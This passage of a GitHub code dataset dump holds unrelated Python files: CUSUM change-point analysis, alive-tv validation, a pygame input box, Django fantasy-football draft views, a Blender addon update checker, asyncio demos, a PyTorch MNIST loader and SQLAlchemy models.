Fore\n\n\n#---------------------\n\ndef exponential_smoothing(series, alpha):\n\n smooth = [series[0]]\n for n in range(1, len(series)):\n smooth.append(alpha * series[n] + (1 - alpha) * smooth[n - 1])\n smooth_series = pd.Series(smooth, index=series.index)\n\n return smooth_series\n\n\ndef add_change_points(dataframe, z=3):\n\n for i in range(z):\n dataframe['CUSUM+' + str(i)] = dataframe['CUSUM'].shift(i - 1)\n dataframe = dataframe.fillna(0)\n\n dataframe.loc[(abs(dataframe['CUSUM+1']) > abs(dataframe['CUSUM+0'])) &\n (abs(dataframe['CUSUM+1']) > abs(dataframe['CUSUM+2'])), 'change_point'] = 1\n dataframe = dataframe.fillna(0)\n\n return dataframe\n\n\ndef find_mean(data):\n\n S = 0\n n = len(data)\n data['mean_in_range'] = np.nan\n data['change_point_weight'] = 1\n\n for i, row in data.iterrows():\n if row['change_point'] == 1:\n print(data[S:i]['metric'].mean())\n Xmean = data[S:i]['metric'].mean()\n data.ix[S:i, 'mean_in_range'] = Xmean\n data.ix[S:i + 1, 'change_point_weight'] = i - S\n #W = i - S + 1\n #print(W)\n S = i\n\n if i == n - 1:\n Xmean = data[S:n]['metric'].mean()\n data.ix[S:n, 'mean_in_range'] = Xmean\n\n return data\n\n\ndef cusum(data):\n\n rS = 0\n CUSUM = []\n n = len(data)\n xmean = data.mean()\n for i in range(n):\n rS = rS + (data[i] - xmean)\n CUSUM.append(rS)\n\n CUSUM = pd.Series(CUSUM, index=data.index)\n\n return CUSUM\n\n\ndef confidence_interval(data, sampling=100):\n\n CUSUM_0 = cusum(data)\n CUSUMdiff0 = CUSUM_0.max() - CUSUM_0.min()\n Nbreaks = 0\n\n for i in range(sampling - 1):\n\n data_new = data.sample(frac=1).reset_index(drop=True)\n CUSUM_simulation = cusum(data_new)\n CUSUMdiff = CUSUM_simulation.max() - CUSUM_simulation.min()\n\n if CUSUMdiff < CUSUMdiff0:\n Nbreaks = Nbreaks + 1\n\n confidence_interval = Nbreaks / sampling\n return confidence_interval\n\n\ndef series_engine(Series, alpha_metric = 0.8, alpha_cusum = 0.9):\n conf_level = 0\n series_view = pd.DataFrame()\n series_view['metric'] = Series\n series_view['series_view_index_value'] = Series.index\n data = pd.Series(exponential_smoothing(Series, alpha_metric))\n series_view['CUSUM'] = exponential_smoothing(cusum(data), alpha_cusum)\n series_view = add_change_points(series_view)\n series_view = series_view.reset_index()\n series_view = find_mean(series_view)\n\n conf_level = confidence_interval(Series)\n\n return series_view, conf_level\n\n\ndef read_series_view(Dataframe):\n\n for i, row in Dataframe.iterrows():\n\n ChangePoint.create()\n\n\ndef read_segment_dataframe(Dataframe):\n\n for column in Dataframe.columns:\n series_view = series_engine(Dataframe[column])\n read_series_view(series_view)\n\ndef scan_view(data, conf_level = 0):\n\n result = pd.DataFrame()\n\n\n segment_lenght = len(data)\n mean = data['metric'].mean()\n observation_size = len(data)\n for i, row in data.iterrows():\n if row['change_point'] == 1:\n #segment = str(data)\n change_point_index = i\n print(Fore.LIGHTBLUE_EX)\n #print(change_point_index)\n #date_change_point = row['group']\n value_from = data.ix[i-1, 'mean_in_range']\n value_to = data.ix[i, 'mean_in_range']\n signal_0 = data.ix[i, 'metric']\n signal_1 = data.ix[i+1, 'metric']\n observation_mean = mean\n confidence_interval = conf_level\n change_point_weight = row['change_point_weight']\n series_view_index_value = i\n\n\n print('change_point_index: '+str(change_point_index)\n , 'series_view_index_value: ' + str(series_view_index_value)\n , 'observation_size: ' + str(observation_size)\n , 'observation_mean: ' + str(observation_mean)\n , 'signal_0: '+str(signal_0)\n , 'signal_1: ' + str(signal_1)\n , 'value_from: ' + str(value_from)\n , 'value_to: ' + str(value_to)\n , 'confidence_interval: ' + str(confidence_interval)\n , 'segment_lenght: '+str(segment_lenght)\n , 'change_point_weight: '+str(change_point_weight))\n result = result.append({'signal':signal_1,'series_view_index_value':series_view_index_value,'segment_lenght':segment_lenght,'value_from': value_from, 'value_to': value_to, 'confidence_interval': confidence_interval, 'change_point_weight': change_point_weight}, ignore_index=True)\n return result\n\nclass SeriesView:\n def __init__(self, data, alpha_metric=0.8, alpha_cusum=0.9):\n self.data = pd.DataFrame()\n self.data['metric'] = data\n tmpdata = pd.Series(self.exponential_smoothing(data, alpha_metric))\n self.data['metric_alpha_1'] = tmpdata\n self.data['CUSUM'] = self.exponential_smoothing(\n self.cusum(tmpdata), alpha_cusum)\n self.data = self.add_change_points(self.data)\n self.data = self.data.reset_index()\n self.data = self.find_mean(self.data)\n\n self.data['mean_delta'] = self.data['metric'] - self.data['mean_in_range']\n self.data['mean_delta_percent'] = self.data['mean_delta'] / self.data['mean_in_range']\n\n self.data['mean_in_range_running'] = pd.Series(self.exponential_smoothing(self.data['mean_in_range'], 0.1))\n\n def __iter__(self):\n yield self.data.iterrows().__iter__()\n\n def getData(self):\n return self.data\n\n def getConfidenceInterval(self):\n return self.confidence_interval(self.getData())\n\n def confidence_interval(self, columnData, sampling=100):\n\n CUSUM_0 = self.cusum(columnData)\n CUSUMdiff0 = CUSUM_0.max() - CUSUM_0.min()\n Nbreaks = 0\n\n for i in range(sampling - 1):\n\n data_new = columnData.sample(frac=1).reset_index(drop=True)\n CUSUM_simulation = self.cusum(data_new)\n CUSUMdiff = CUSUM_simulation.max() - CUSUM_simulation.min()\n\n if CUSUMdiff < CUSUMdiff0:\n Nbreaks = Nbreaks + 1\n\n confidence_interval = Nbreaks / sampling\n return confidence_interval\n\n def exponential_smoothing(self, data, alpha):\n\n smooth = [data[0]]\n for n in range(1, len(data)):\n smooth.append(alpha * data[n] + (1 - alpha) * smooth[n - 1])\n smooth_series = pd.Series(smooth, index=data.index)\n\n return smooth_series\n\n def add_change_points(self, data, z=3):\n\n for i in range(z):\n data['CUSUM+' + str(i)] = data['CUSUM'].shift(i - 1)\n data = data.fillna(0)\n\n l_index = (abs(data['CUSUM+1']) > abs(data['CUSUM+0'])) & (\n abs(data['CUSUM+1']) > abs(data['CUSUM+2']))\n\n data.loc[l_index, 'change_point'] = 1\n data = data.fillna(0)\n\n return data\n\n def find_mean(self, data):\n S = 0\n n = len(data)\n data['mean_in_range'] = np.nan\n data['change_point_weight'] = 1\n\n for i, row in data.iterrows():\n if row['change_point'] == 1:\n #print(data[S:i]['metric'].mean())\n Xmean = data[S:i]['metric'].mean()\n data.ix[S:i, 'mean_in_range'] = Xmean\n data.ix[S:i, 'change_point_weight'] = i - S\n\n S = i\n\n if i == n - 1:\n Xmean = data[S:n]['metric'].mean()\n data.ix[S:n, 'mean_in_range'] = Xmean\n\n return data\n\n def cusum(self, data):\n\n rS = 0\n CUSUM = []\n n = len(data)\n xmean = data.mean()\n for i in range(n):\n rS = rS + (data[i] - xmean)\n CUSUM.append(rS)\n\n CUSUM = pd.Series(CUSUM, index=data.index)\n\n return CUSUM\n","repo_name":"AntonioZen/BitBot_0_1","sub_path":"CPM1.py","file_name":"CPM1.py","file_ext":"py","file_size_in_byte":8027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24318423958","text":"import glob\nimport numpy as np\nimport util\nimport common\nimport re\nimport toml\n\n\"\"\"\nThis is a sanity check script. Each RustBCA simulation is created from an IEAD data file.\nSometimes we multiply each number in that file in order to get to a minimum threshold\nto be considered a \"high resolution\" simulation. This script verifies that the total\nnumber of particles in a RustBCA input file equals the total number in the associated\nIEAD file times the corresponding conversion factor found in conversion_factors.csv.\n\"\"\"\n\ndef get_conversion_factors():\n factors = {}\n with open(common._PARTICLE_CONVERSION_FACTORS_FILE, 'r') as f:\n for line in f.readlines():\n rustbca_simdir, factor = line.strip().split(',')\n factors[rustbca_simdir] = float(factor)\n return factors\n\n\ndef get_rustbca_simulation_counts():\n counts = {}\n for rustbca_simdir in glob.glob('rustbca_simulations/*'):\n rustbca_input_file = rustbca_simdir + '/input.toml'\n print(f'reading {rustbca_input_file}...')\n with open(rustbca_input_file, 'r') as f:\n rustbca_config = toml.load(f)\n counts[rustbca_simdir + '/'] = sum(rustbca_config['particle_parameters']['N'])\n return counts\n\n\ndef verify_particle_counts():\n IEAD_counts = get_IEAD_counts()\n conversion_factors = get_conversion_factors()\n rustbca_counts = get_rustbca_simulation_counts()\n\n for rustbca_simdir, rustbca_count in rustbca_counts.items():\n IEAD_count = IEAD_counts[rustbca_simdir]\n conversion_factor = conversion_factors[rustbca_simdir]\n assert rustbca_count == IEAD_count * conversion_factor\n print('all particle counts make sense ✔')\n\n\ndef get_IEAD_counts():\n counts = {}\n # ping down species names in a config file so we're never wondering what\n # ion \"sp4\" is.\n config = util.load_yaml(common._CONFIG_FILENAME)\n ion_names = common.invert_ion_map(config['ions'])\n\n for SimID in glob.glob('hpic_results/*'):\n if SimID == 'hpic_results/p2c.csv':\n continue\n\n\n for IEADfile in glob.glob(SimID + '/*_IEAD_*.dat'):\n # Get this species name\n iead_label = re.search('IEAD_sp[0-9]{1,2}', IEADfile).group()\n species_label = iead_label.split('_')[1]\n ion_name = ion_names[species_label]\n\n IEAD = np.genfromtxt(IEADfile, delimiter = ' ')\n RustBCA_Simdir = 'rustbca_simulations/' + SimID.replace('hpic_results/', '') + ion_name + '/'\n counts[RustBCA_Simdir] = np.sum(IEAD)\n\n return counts\n\n\nif __name__ == '__main__':\n verify_particle_counts()\n","repo_name":"prospero-x/FNSF","sub_path":"scripts/verify_total_counts.py","file_name":"verify_total_counts.py","file_ext":"py","file_size_in_byte":2609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18997848908","text":"import pygame\n\n\nclass InputBox:\n \"\"\" Input Box class\"\"\"\n def __init__(self, x, y, w, h, color_active, color_inactive, text='',):\n self.color_inactive = pygame.Color(color_inactive)\n self.color_active = pygame.Color(color_active)\n self.font = pygame.font.Font(None, 32)\n self.rect = pygame.Rect(x, y, w, h)\n self.color = self.color_inactive\n self.text = text\n self.txt_surface = self.font.render(text, False, self.color)\n self.active = False\n\n def handle_event(self, event):\n \"\"\" Handle all event and return text if user enter\"\"\"\n if event.type == pygame.MOUSEBUTTONDOWN:\n # If the user clicked on the input_box rect.\n if self.rect.collidepoint(event.pos):\n self.active = not self.active\n # Toggle the active variable.\n else:\n self.active = False\n\n # Change the current color of the input box.\n self.color = self.color_active if self.active else self.color_inactive\n if event.type == pygame.KEYDOWN:\n if self.active:\n if event.key == pygame.K_RETURN:\n if len(self.text) > 10:\n return self.text[:10]\n return self.text\n elif event.key == pygame.K_BACKSPACE:\n self.text = self.text[:-1]\n\n else:\n self.text += event.unicode\n # Re-render the text.\n self.txt_surface = self.font.render(self.text, False, self.color)\n\n def update(self):\n \"\"\"Resize the box if the text is too long.\"\"\"\n width = max(200, self.txt_surface.get_width()+10)\n self.rect.w = width\n\n def draw(self, screen):\n \"\"\" Draw text and input box\"\"\"\n # Blit the text.\n screen.blit(self.txt_surface, (self.rect.x+5, self.rect.y+5))\n # Blit the rect.\n pygame.draw.rect(screen, self.color, self.rect, 2)\n","repo_name":"Its-Haze/pvt_21_GameHub","sub_path":"input_box.py","file_name":"input_box.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"74221240428","text":"from osgeo import gdal\n\ndef read_dem(file_path):\n # 打开DEM文件\n dataset = gdal.Open(file_path)\n\n if dataset is None:\n print(\"无法打开DEM文件\")\n return None\n\n # 获取DEM的行数、列数\n rows = dataset.RasterYSize\n cols = dataset.RasterXSize\n\n # 读取DEM中的高程数据\n band = dataset.GetRasterBand(1) # 1表示获取第一个波段\n elevation_data = band.ReadAsArray(0, 0, cols, rows)\n\n # 关闭DEM文件\n dataset = None\n\n return elevation_data\n\n# 示例使用\ndem_file_path = \"zouping+dem+tiff.tif\"\nelevation_data = read_dem(dem_file_path)\n\nif elevation_data is not None:\n print(\"成功读取DEM中的高程数据\")\n print(\"高程数据数组:\", elevation_data)\nelse:\n print(\"读取DEM失败\")\n","repo_name":"sakurashang/steadySpeedControl","sub_path":"dem/getDataFromDEM.py","file_name":"getDataFromDEM.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26045296424","text":"from bs4 import BeautifulSoup\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.http import HttpResponse\nfrom django.shortcuts import render, redirect\nfrom django.template.defaulttags import register\nfrom django.templatetags.static import static\nimport logging\nimport csv\nimport json\nimport logging\nimport numpy\nimport os.path\nimport sys\nimport urllib\nimport urllib2\nimport warnings\n\nlogger = logging.getLogger('testlogger')\n\n@register.filter\ndef get_item(dictionary, key):\n return dictionary[key]\n\n@register.filter\ndef get_range(value):\n return range(value)\n\n# TODO: move these model classes to their own file\nclass Report:\n\n def __init__(self, sources):\n self.sources = sources\n\n def generate(self):\n (picks, undrafted_values) = self.aggregate_picks()\n players = {}\n for pick in picks:\n if pick.name in players:\n players[pick.name].add_pick(pick)\n else:\n player = Player(pick)\n players[pick.name] = player\n return self.create_rows(players.values(), undrafted_values)\n\n def aggregate_picks(self):\n picks = []\n undrafted_values = []\n for i, source in enumerate(self.sources):\n try:\n (source_picks, is_draft_finished) = source.get_picks()\n except AttributeError:\n logger.info(sys.exc_info())\n logger.info('problem processing source: {}'.format(source))\n continue\n for sp in source_picks:\n sp.source_num = i\n picks += source_picks\n if is_draft_finished:\n undrafted_values.append(len(source_picks))\n else:\n undrafted_values.append(None)\n return (picks, undrafted_values)\n\n def create_rows(self, players, undrafted_values):\n rows = []\n for player in players:\n draft_positions = []\n for source_num in range(len(self.sources)):\n if source_num in player.draft_positions:\n draft_positions.append(player.draft_positions[source_num])\n else:\n draft_positions.append(undrafted_values[source_num])\n adp = numpy.mean(filter(None, draft_positions))\n std = numpy.std(filter(None, draft_positions))\n row = [0, player.name, player.position, player.team, adp, std] + draft_positions\n rows.append(row)\n return rows\n\nclass Player:\n\n def __init__(self, pick):\n self.name = pick.name\n self.team = pick.team\n self.position = pick.position\n self.draft_positions = {pick.source_num: pick.pick_num}\n\n def add_pick(self, pick):\n self.draft_positions[pick.source_num] = pick.pick_num\n\nclass Pick:\n\n def __init__(self, name, pick_num, team=\"\", position=\"\"):\n self.name = name\n self.pick_num = pick_num\n self.team = team\n self.position = position\n\n# TODO: move these model classes to their own file\nclass DataSource:\n pass\n\nclass MFLSource(DataSource):\n\n def __init__(self, year, league_id):\n self.year = year\n self.league_id = league_id\n self.url = 'http://football.myfantasyleague.com/{}/options?L={}&O=17'.format(year, league_id)\n\n # TODO: why does this function need `source` passed in?\n def get_picks(self, source):\n picks = []\n soup = BeautifulSoup(source)\n rows = soup.find('table', {'class': 'report'}).find_all('tr')[1:]\n is_draft_finished = True\n for row in rows:\n player_data = row.find('td', {'class': 'player'})\n if player_data is None:\n is_draft_finished = False\n break\n player_name_node = player_data.find('a')\n if player_name_node is not None:\n player = player_name_node.text.rsplit(' ', 2)\n else:\n continue\n pick_num = len(picks) + 1\n pick = Pick(\n name=player[0],\n pick_num=pick_num,\n team=player[1],\n position=player[2])\n picks.append(pick)\n return (picks, is_draft_finished)\n\nclass LiveMFLSource(MFLSource):\n\n def __init__(self, year, league_id):\n MFLSource.__init__(self, year, league_id)\n\n def __str__(self):\n return 'LiveMFLSource(year={}, league_id={})'.format(self.year, self.league_id)\n\n def get_picks(self):\n page = urllib2.urlopen(self.url).read()\n return MFLSource.get_picks(self, page)\n\n\ndef create_context(sources):\n api_data = {\n 'years': [x[0] for x in sources],\n 'league_ids': [x[1] for x in sources]\n }\n context = {\n 'num_mocks': len(sources),\n 'api_data': json.dumps(api_data)\n }\n return context\n\n\ndef index(request):\n return render(request, 'index.html')\n\ndef generate_report(request):\n years = map(int, request.GET.getlist('years[]'))\n league_ids = map(int, request.GET.getlist('league_ids[]'))\n sources = [LiveMFLSource(year, league_id) for (year, league_id) in zip(years, league_ids)]\n data = Report(sources).generate()\n return HttpResponse(json.dumps({'data': data}), content_type=\"application/json\")\n\ndef custom_page(request):\n return render(request, 'custom.html')\n\ndef custom_report(request):\n years = map(int, request.GET.getlist('years[]'))\n league_ids = map(int, request.GET.getlist('league_ids[]'))\n context = create_context(zip(years, league_ids))\n return render(request, 'table.html', context)\n\ndef dynastyffonly(request):\n sources = [\n (2014, 73465),\n (2014, 79019)\n ]\n context = create_context(sources)\n return render(request, 'table.html', context)\n\ndef dynastyff2qb(request):\n sources = [\n (2015, 70578),\n (2015, 62878),\n (2015, 79056),\n (2015, 53854),\n (2015, 66771),\n (2015, 71287)\n ]\n context = create_context(sources)\n return render(request, 'table.html', context)\n\ndef nasty26(request):\n sources = [\n (2015, 71481),\n (2015, 72926),\n (2015, 78189),\n (2015, 75299),\n (2015, 76129),\n (2015, 69009),\n (2015, 60806)\n ]\n context = create_context(sources)\n return render(request, 'table.html', context)\n\ndef dynastyffmixed(request):\n messages.add_message(request, messages.INFO, \"The dynastyffmixed page has been removed\")\n return redirect('index')\n","repo_name":"mikeplis/dynasty-mocks","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40835664247","text":"from bpy.types import Operator\nfrom .. import bl_info, __package__ as main_package\nfrom bpy.props import BoolProperty\n\n# ----------------------------------------------------------------- #\n# UPDATES\n# ----------------------------------------------------------------- #\n\ndef check_update():\n import urllib\n import re\n adress = 'https://raw.githubusercontent.com/jfranmatheu/b3d_addons/main/versions/AtelierSculpt.txt'\n response = urllib.request.urlopen(adress)\n html = str(response.read())\n result = re.search('version:(.*);', html)\n last_version = result.group(1)\n current_version = str(bl_info['version'])\n print(\"[Atelier Sculpt] Current Version :\", current_version)\n print(\"[Atelier Sculpt] Last Version :\", last_version)\n if last_version != current_version:\n return True, last_version\n else:\n return False, False\n \ndef update_auto_check_updates(self, context):\n if self.auto_check_updates:\n import bpy\n bpy.ops.bas.check_updates()\n\nclass BAS_OT_CheckUpdates(Operator):\n bl_idname = \"bas.check_updates\"\n bl_label = \"Check for 'Atelier Sculpt' Updates\"\n \n second_plane : BoolProperty(default=False)\n\n def error(self, ui, context):\n ui.layout.label(text=\"Do you have Internet Conection? If yes, please report it.\")\n\n def nope(self, ui, context):\n ui.layout.label(text=\"You are up to date!\")\n\n def success(self, ui, context):\n ui.layout.label(text=\"New Version Available!\")\n\n def execute(self, context):\n prefs = context.preferences.addons[main_package].preferences\n try:\n prefs.need_updating, last = check_update()\n if not last:\n if not self.second_plane:\n context.window_manager.popup_menu(self.nope, title = \"Version \" + str(bl_info['version']) + \" is the last one\", icon = 'INFO')\n return {'FINISHED'}\n else:\n prefs.last_version = last\n if prefs.need_updating:\n if not self.second_plane:\n context.window_manager.popup_menu(self.success, title = \"Version \" + prefs.last_version + \" was found\", icon = 'INFO')\n else:\n self.report({'INFO'}, \"Atelier Sculpt: new update available - \" + last)\n except:\n if not self.second_plane:\n context.window_manager.popup_menu(self.error, title = \"Can't Check for Updates!\", icon = 'ERROR')\n print(\"[ATELIER SCULPT] WARNING: Can't Check for updates! Please Report it!\")\n return {'FINISHED'}\n\n\nupdate_properties = '''\nneed_updating : BoolProperty(\n description = \"Need Updating\",\n name = \"need_updating\",\n default = False\n)\n\nlast_version : StringProperty(\n description = \"Last Version\",\n name = \"last_version\",\n default = \"(2.0.0)\"\n)\n\nauto_check_updates : BoolProperty(default=True, name=\"Auto-Check for Updates\", update=update_auto_check_updates)\n'''\n","repo_name":"jfranmatheu/Atelier-Sculpt","sub_path":"AtelierSculpt/addon_utils/updates.py","file_name":"updates.py","file_ext":"py","file_size_in_byte":2984,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"37"} +{"seq_id":"15275354118","text":"# 协程停止\n# 协程没有嵌套时\nimport asyncio, time\n\n\nasync def do_work(x):\n print('waiting', x)\n await asyncio.sleep(x)\n return 'done in {}s'.format(x)\n\n\ncoroutine1 = do_work(1)\ncoroutine2 = do_work(2)\ncoroutine3 = do_work(4)\n\ntasks = [\n asyncio.ensure_future(coroutine1),\n asyncio.ensure_future(coroutine2),\n asyncio.ensure_future(coroutine3),\n]\n\nt1 = time.time()\nloop = asyncio.get_event_loop()\ntry:\n loop.run_until_complete(asyncio.wait(tasks))\nexcept KeyboardInterrupt as e:\n print(tasks)\n #和视频不同,直接循环调用task取消\n for task in tasks:\n print(task.cancel())\n loop.stop()\n loop.run_forever()\nfinally:\n loop.close()\n\nprint(time.time() - t1)\n","repo_name":"xiaoxiaodelezi/python_study","sub_path":"协程/B站教程_Python 协程和异步IO/代码/11_1.py","file_name":"11_1.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35000935888","text":"#!/usr/bin/env python3\nimport argparse\nimport os\nimport glob\nimport subprocess\nfrom pathlib import Path\nimport csv\nimport asyncio\nimport itertools\n\n# Script that validates translation validation programs and\n# generates a CSV of the results, and stores the valid program\n# pairs in a separate folder.\n\nPARSER = argparse.ArgumentParser(prog = 'ValidateTV', description = 'Validates alive files in a given folder, and saves the correct ones to a different folder')\nPARSER.add_argument('inputdir', help=\"input directory of all TV files. default: '/tmp/instcombine'\") \nPARSER.add_argument('outputdir', help=\"output directory where valid files are stored. default: '/tmp/instcombine-correct'\") \nPARSER.add_argument('logpath', help=\"path to CSV log file. default: './log.csv'\") \n\nasync def main():\n args = PARSER.parse_args()\n processes = []\n # programs = []\n filepaths = list(glob.glob(str(Path(args.inputdir) / \"*.ll\" )))\n for (i, filepath) in enumerate(filepaths):\n print(\"running: %40s | %6.2f %%\" % (filepath, i / len(filepaths) * 100.0))\n proc = await asyncio.create_subprocess_exec(\"alive-tv\", filepath, \"--quiet\", \\\n stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)\n processes.append(proc.communicate())\n processes = await asyncio.gather(*processes)\n\n # status = success, failure, timeout\n rows = []\n header = [\"filepath\", \"status\", \"output\"]\n for (filepath, proc) in zip(filepaths, processes):\n (stdout, stderr) = proc #await proc.communicate()\n if b\"Timeout\" in stdout: status = \"timeout\"\n elif b\"ERROR\" in stdout: status = \"error\"\n else: status = \"success\"\n rows.append([filepath, status, stdout])\n with open(args.logpath, \"w\") as f:\n writer = csv.writer(f)\n writer.writerow(header)\n writer.writerows(rows)\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n","repo_name":"opencompl/machine-learning-peephole-proofs","sub_path":"code/processed_data/validate-tv.py","file_name":"validate-tv.py","file_ext":"py","file_size_in_byte":1955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38454877059","text":"\"\"\"empty message\n\nRevision ID: 7713e940a751\nRevises: 8d5ede3a1350\nCreate Date: 2023-04-14 17:26:47.366346\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = '7713e940a751'\ndown_revision = '8d5ede3a1350'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table('review', schema=None) as batch_op:\n batch_op.alter_column('book_id',\n existing_type=mysql.INTEGER(),\n type_=sa.String(length=100),\n existing_nullable=False)\n\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table('review', schema=None) as batch_op:\n batch_op.alter_column('book_id',\n existing_type=sa.String(length=100),\n type_=mysql.INTEGER(),\n existing_nullable=False)\n\n # ### end Alembic commands ###\n","repo_name":"RyanAugustyn/React-Flask-JWT-Project","sub_path":"backend/migrations/versions/7713e940a751_.py","file_name":"7713e940a751_.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36764260472","text":"# -----------------------------------------------------------\r\n# Your team is writing a fancy new text editor and you've been tasked with implementing the line numbering.\r\n# \r\n# Write a function which takes a list of strings and returns each line prepended by the correct number.\r\n# \r\n# The numbering starts at 1. The format is n: string. Notice the colon and space in between.\r\n# \r\n# Examples: (Input --> Output)\r\n# \r\n# [] --> []\r\n# [\"a\", \"b\", \"c\"] --> [\"1: a\", \"2: b\", \"3: c\"]\r\n# -----------------------------------------------------------\r\n\r\ndef number(lines):\r\n try:\r\n answer = []\r\n i = 1\r\n for l in lines:\r\n answer.append(f\"{i}: {l}\")\r\n i += 1\r\n return answer\r\n except:\r\n return []\r\n\r\n# or\r\n\r\ndef number(lines):\r\n return [\"%s: %s\" % l for l in enumerate(lines, 1)]\r\n\r\n# -----------------------------------------------------------\r\n# License\r\n# Tasks are the property of Codewars (https://www.codewars.com/) \r\n# and users of this resource.\r\n# \r\n# All solution code in this repository \r\n# is the personal property of Vladimir Rukavishnikov\r\n# (vladimirrukavishnikovmail@gmail.com).\r\n# \r\n# Copyright (C) 2022 Vladimir Rukavishnikov\r\n# \r\n# This file is part of the HungryVovka/Codewars-Python\r\n# (https://github.com/HungryVovka/Codewars-Python)\r\n# \r\n# License is GNU General Public License v3.0\r\n# (https://github.com/HungryVovka/Codewars-Python/blob/main/LICENSE.md)\r\n# \r\n# You should have received a copy of the GNU General Public License v3.0\r\n# along with this code. If not, see http://www.gnu.org/licenses/\r\n# -----------------------------------------------------------","repo_name":"HungryVovka/Codewars-Python","sub_path":"7 kyu/Testing 1-2-3.py","file_name":"Testing 1-2-3.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"2163818146","text":"import torchvision.transforms as transforms\nfrom torchvision.datasets import MNIST\nfrom torch.utils.data import DataLoader , random_split, Subset\nimport torch\nimport numpy as np\nimport random\n\ntorch.manual_seed(123)\ntorch.cuda.manual_seed(123)\nnp.random.seed(123)\nrandom.seed(123)\ntorch.backends.cudnn.enabled = False\ntorch.backends.cudnn.deterministic = True\n\nclass c_loader():\n\n def __init__(self, args):\n super(c_loader, self).__init__()\n\n mnist_transform = transforms.Compose([transforms.ToTensor()])\n download_root = './MNIST_DATASET'\n\n dataset = MNIST(download_root, transform=mnist_transform, train=True, download=True)\n dataset = Subset(dataset,random.sample(range(dataset.__len__()) , args.data_size))\n test_dataset = MNIST(download_root, transform=mnist_transform, train=False, download=True)\n self.batch_size = args.batch_size\n self.train_iter = DataLoader(dataset=dataset , batch_size=self.batch_size , shuffle=True)\n self.test_iter = DataLoader(dataset=test_dataset , batch_size=2000, shuffle=True)\n del dataset\n\n\n\n\n","repo_name":"bogus215/Bayesian-convolutional-neural-networks-with-bernouli-approximate-variational-inference","sub_path":"loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"17697925239","text":"import enum\nimport sqlalchemy as sqla\nfrom sqlalchemy.orm import relation\nfrom sqlalchemy.types import Enum\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom .connection import get_engine\n\n\nBase = declarative_base()\n\nclass Source(Base):\n __tablename__='source'\n id = sqla.Column(sqla.Integer, primary_key=True)\n path = sqla.Column(sqla.String, unique=True)\n formulas = relation('Formula')\n\nclass Formula(Base):\n __tablename__= 'formula'\n id = sqla.Column(sqla.Integer, primary_key=True)\n source = sqla.Column(sqla.Integer, sqla.ForeignKey(Source.id))\n blob = sqla.Column(sqla.Binary)\n\nassociation_premises = sqla.Table('association', Base.metadata,\n sqla.Column('left_id', sqla.Integer, sqla.ForeignKey('problem.id')),\n sqla.Column('right_id', sqla.Integer, sqla.ForeignKey('formula.id'))\n)\n\nclass SolutionItem(Base):\n id = sqla.Column(sqla.Integer, primary_key=True)\n __tablename__ = 'solution_item'\n solution = sqla.Column(sqla.Integer, sqla.ForeignKey('solution.id'))\n premise = sqla.Column(sqla.Integer, sqla.ForeignKey(Formula.id))\n used = sqla.Column(sqla.Boolean)\n\n\nclass Problem(Base):\n __tablename__ = 'problem'\n id = sqla.Column(sqla.Integer, primary_key=True)\n name = sqla.Column(sqla.String, nullable=False, default='')\n conjecture = sqla.Column(sqla.Integer, sqla.ForeignKey(Formula.id))\n premises = relation(Formula, secondary=association_premises)\n solutions = relation('Solution')\n\n\nclass Solution(Base):\n __tablename__ = 'solution'\n id = sqla.Column(sqla.Integer, primary_key=True)\n problem = sqla.Column(sqla.Integer, sqla.ForeignKey('problem.id'))\n premises = relation(SolutionItem)\n\n\ndef create_tables():\n print('Build datastructures')\n metadata = Base.metadata\n metadata.bind = get_engine()\n metadata.create_all()\n\n\ndef drop_tables():\n print('Destroy datastructures')\n metadata = Base.metadata\n metadata.bind = get_engine()\n metadata.drop_all()","repo_name":"MGlauer/tptpparser","sub_path":"data/io/structures.py","file_name":"structures.py","file_ext":"py","file_size_in_byte":1975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9803673540","text":" # -*- coding: utf-8 -*-\n\n# This file is part of translate.\n#\n# translate is free software: you can redistribute it and/or modify it under\n# the terms of the GNU General Public License as published by the Free Software\n# Foundation, either version 3 of the License, or (at your option) any later\n# version.\n#\n# translate is distributed in the hope that it will be useful, but WITHOUT ANY\n# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR\n# A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License along with\n# translate. If not, see .\n\n\"\"\"\ntranslate.app\n~~~~~~~~~~~~~\n\nServer interface for translate application. This handles the process of\nhandling HTTP requests and 